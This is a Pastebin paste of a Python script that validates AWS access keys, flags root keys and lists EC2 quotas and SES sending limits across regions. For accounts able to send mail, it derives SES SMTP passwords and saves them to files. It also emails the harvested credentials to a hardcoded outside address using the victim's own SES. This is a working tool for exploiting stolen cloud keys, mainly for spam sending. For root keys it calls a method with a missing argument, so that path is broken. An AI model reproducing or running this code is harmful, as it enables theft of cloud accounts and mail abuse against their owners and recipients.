JamesBops

Untitled

Feb 22nd, 2023
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.60 KB | None | 0 0
  1. import boto3
  2. import botocore
  3. import sys
  4. import hmac
  5. import hashlib
  6. import base64
  7.  
  8. class CreateSMTP:
  9.  
  10. def __init__(self, aws_secret: str):
  11. self.aws_secret = aws_secret
  12. self.DATE = "11111111"
  13. self.SERVICE = "ses"
  14. self.MESSAGE = "SendRawEmail"
  15. self.TERMINAL = "aws4_request"
  16. self.VERSION = 0x04
  17.  
  18.  
  19. def Sign(self, key, msg):
  20. return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()
  21.  
  22. def calculate_key(self, region: str):
  23. signature = self.Sign(("AWS4" + self.aws_secret).encode('utf-8'), self.DATE)
  24. signature = self.Sign(signature, region)
  25. signature = self.Sign(signature, self.SERVICE)
  26. signature = self.Sign(signature, self.TERMINAL)
  27. signature = self.Sign(signature, self.MESSAGE)
  28. signature_and_version = bytes([self.VERSION]) + signature
  29. SMTP_PASSWORD = base64.b64encode(signature_and_version)
  30. return SMTP_PASSWORD.decode('utf-8')
  31.  
  32. # save file
  33. def save_file(file_name, file_content):
  34. with open(file_name, "a") as file:
  35. file.write(file_content + "\n")
  36. file.close()
  37.  
  38.  
  39. def build_aws_key(key, secret):
  40. aws_key = key + "|" + secret + "|" + "us-east-1"
  41. return aws_key
  42.  
  43.  
  44. # configure aws
  45. def check_aws(key, secret):
  46. aws_key = build_aws_key(key, secret)
  47. try:
  48. session = boto3.Session(
  49. aws_access_key_id=key,
  50. aws_secret_access_key=secret,
  51. region_name="us-east-1"
  52. )
  53. check_identity = session.client("sts").get_caller_identity()
  54. check = Check(aws_key, session)
  55. if check_identity:
  56. save_file("valid_aws_key.txt", aws_key)
  57. if "root" in check_identity["Arn"]:
  58. print("Root Aws Key > " + key)
  59. save_file("root_aws_key.txt", aws_key)
  60. check.check_ses()
  61. check.check_ec2()
  62. else:
  63. print("Valid Aws Key > " + key)
  64. check.check_ses(secret)
  65. check.check_ec2()
  66. except botocore.exceptions.ClientError as error:
  67. er = error.response["Error"]["Code"]
  68. if er == "InvalidClientTokenId":
  69. print("Invalid Aws Key > " + key)
  70. elif er == "SignatureDoesNotMatch":
  71. print("Signature Does Not Match > " + key)
  72. else:
  73. print(er + " > " + key)
  74. except Exception as e:
  75. print(str(e))
  76.  
  77. class Check(object):
  78.  
  79. def __init__(self, aws_key, session):
  80. self.aws_key = aws_key
  81. self.session = session
  82. self.TO_MAIL = "[email protected]"
  83. self.region_list = [
  84. "us-east-1",
  85. "us-east-2",
  86. "us-west-1",
  87. "us-west-2",
  88. "ap-south-1",
  89. "ap-southeast-1",
  90. "ap-southeast-2",
  91. "ap-northeast-1",
  92. "ap-northeast-2",
  93. "ap-northeast-3",
  94. "ca-central-1",
  95. "eu-south-1",
  96. "eu-central-1",
  97. "eu-north-1",
  98. "eu-west-1",
  99. "eu-west-2",
  100. "eu-west-3",
  101. "sa-east-1",
  102. "me-south-1",
  103. ]
  104.  
  105.  
  106. def check_ec2(self):
  107. print("\nChecking EC2 List Quotas in all regions\n")
  108. all_save = self.aws_key + "\n"
  109. for reg in self.region_list:
  110. try:
  111. service_quotas = self.session.client(
  112. "service-quotas", region_name=reg).list_service_quotas(ServiceCode="ec2")
  113. quotas_list = service_quotas["Quotas"]
  114. Result = "Region: " + reg + "\n"
  115. for quotas in quotas_list:
  116. if "All" in str(quotas):
  117. quotaname = quotas["QuotaName"]
  118. value = quotas["Value"]
  119. Result += quotaname + ": " + str(value) + "\n"
  120. all_save += Result + "\n"
  121. print(Result)
  122. except botocore.exceptions.ClientError as error:
  123. er = error.response["Error"]["Code"]
  124. if er == "AccessDeniedException":
  125. print("Access Denied for EC2\n")
  126. break
  127. elif er == "UnrecognizedClientException":
  128. print("Region " + reg + " locked for EC2\n")
  129. else:
  130. print(str(error))
  131. except botocore.exceptions.ReadTimeoutError:
  132. print("Cant connect to EC2 " + reg + " endpoint\n")
  133. except KeyboardInterrupt:
  134. continue
  135. except Exception as e:
  136. print(str(e))
  137. if "Region" in all_save:
  138. save_file("ec2_quotas.txt", all_save)
  139.  
  140. def check_ses(self, sec):
  141. print("\nChecking SES in all regions\n")
  142. all_save = self.aws_key + "\n"
  143. for reg in self.region_list:
  144. try:
  145. sesv2 = self.session.client("sesv2", region_name=reg)
  146. check_account = sesv2.get_account()
  147. status = check_account["EnforcementStatus"]
  148. quota = check_account["SendQuota"]
  149. max24 = quota["Max24HourSend"]
  150. maxsend = quota["MaxSendRate"]
  151. sentlast = quota["SentLast24Hours"]
  152. # checking identity
  153. identity = ""
  154. identities = self.session.client(
  155. "ses", region_name=reg).list_identities()["Identities"]
  156. if len(identities) > 0:
  157. identity = "SES Identity : " + ", ".join(identities)
  158. else:
  159. identity = "No SES Identities found"
  160. Result = "Region: " + reg + "\nStatus: " + status + "\nMax24HourSend: " + \
  161. str(max24) + "\nMaxSendRate: " + str(maxsend) + \
  162. "\nSentLast24Hours: " + \
  163. str(sentlast) + "\n" + identity + "\n"
  164. all_save += Result + "\n"
  165. print(Result)
  166. if len(identities) > 0:
  167. if status != 'SHUTDOWN' and int(max24) != 200:
  168. SMTP_HOST = 'email-smtp.{}.amazonaws.com'.format(reg)
  169. SMTP_PORT = "587"
  170. SMTP_USERNAME = sec
  171. SMTP_PASSWORD = CreateSMTP(sec).calculate_key(reg)
  172. """SMTP INFORMATION"""
  173. SMTP_CREDS = '''\tSMTP INFORMATION
  174. SMTP HOST = {SMTP_HOST}
  175. SMTP PORT = {SMTP_PORT}
  176. SMTP USERNAME = {SMTP_USERNAME}
  177. SMTP PASSWORD = {SMTP_PASSWORD}
  178. FROM EMAIL = {FROM_MAIL}
  179.  
  180. '''
  181. SM = SMTP_CREDS.format(SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD, FROM_MAIL=(', '.join(identities) if len(identities) > 0 else 'No Domain Or FM Found'))
  182. print(SM)
  183. with open('SMTP_SES.txt', 'a') as smtp:
  184. smtp.write(SM)
  185. if len(identities) > 0:
  186. for FromMail in identities:
  187. if '@' in FromMail:
  188. FM = FromMail
  189. else:
  190. FM = 'admin@{}'.format(FromMail)
  191. SMTPS = SMTP_CREDS.format(FROM_MAIL=FM, SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD)
  192. Message = Result + '\n' + SMTPS
  193. self.SendEmail(self.session.client("ses", region_name=reg), FM, Message
  194. )
  195. else:
  196. pass
  197. else:
  198. pass
  199. except botocore.exceptions.ClientError as error:
  200. er = error.response["Error"]["Code"]
  201. if er == "AccessDeniedException":
  202. print("Access Denied for SESV2\n")
  203. break
  204. elif er == "UnrecognizedClientException":
  205. print("Region " + reg + " locked for SESV2\n")
  206. else:
  207. print(str(error))
  208. except botocore.exceptions.ReadTimeoutError:
  209. print("Cant connect to SESV2 " + reg + " endpoint\n")
  210. except KeyboardInterrupt:
  211. continue
  212. except Exception as e:
  213. print(str(e))
  214. if "Region" in all_save:
  215. save_file("sesv2_aws_key.txt", all_save)
  216.  
  217. def SendEmail(self, Client: boto3.Session, FROM_MAIL, MESSAGE):
  218. try:
  219. Client.send_email(
  220. Source=FROM_MAIL,
  221. Destination={
  222. 'ToAddresses': [
  223. self.TO_MAIL,
  224. ],
  225. },
  226. Message={
  227. 'Subject': {
  228. 'Data': 'AWS SES RESULT',
  229. 'Charset': 'UTF-8'
  230. },
  231. 'Body': {
  232. 'Text': {
  233. 'Data': MESSAGE,
  234. 'Charset': 'UTF-8'
  235. },
  236. }
  237. }
  238. )
  239. print('[+] Email Sent To {} From {} \n\n'.format(self.TO_MAIL, FROM_MAIL))
  240. except Exception:
  241. print("[-] Failed Sent To {} From {} \n\n".format(self.TO_MAIL, FROM_MAIL))
  242.  
  243.  
  244. if __name__ == "__main__":
  245. key = input("Enter your aws key: ")
  246. secret = input("Enter your aws secret: ")
  247. check_aws(key, secret)
  248. sys.exit(input("Press any key to exit"))
  249.  
Add Comment
Please, Sign In to add comment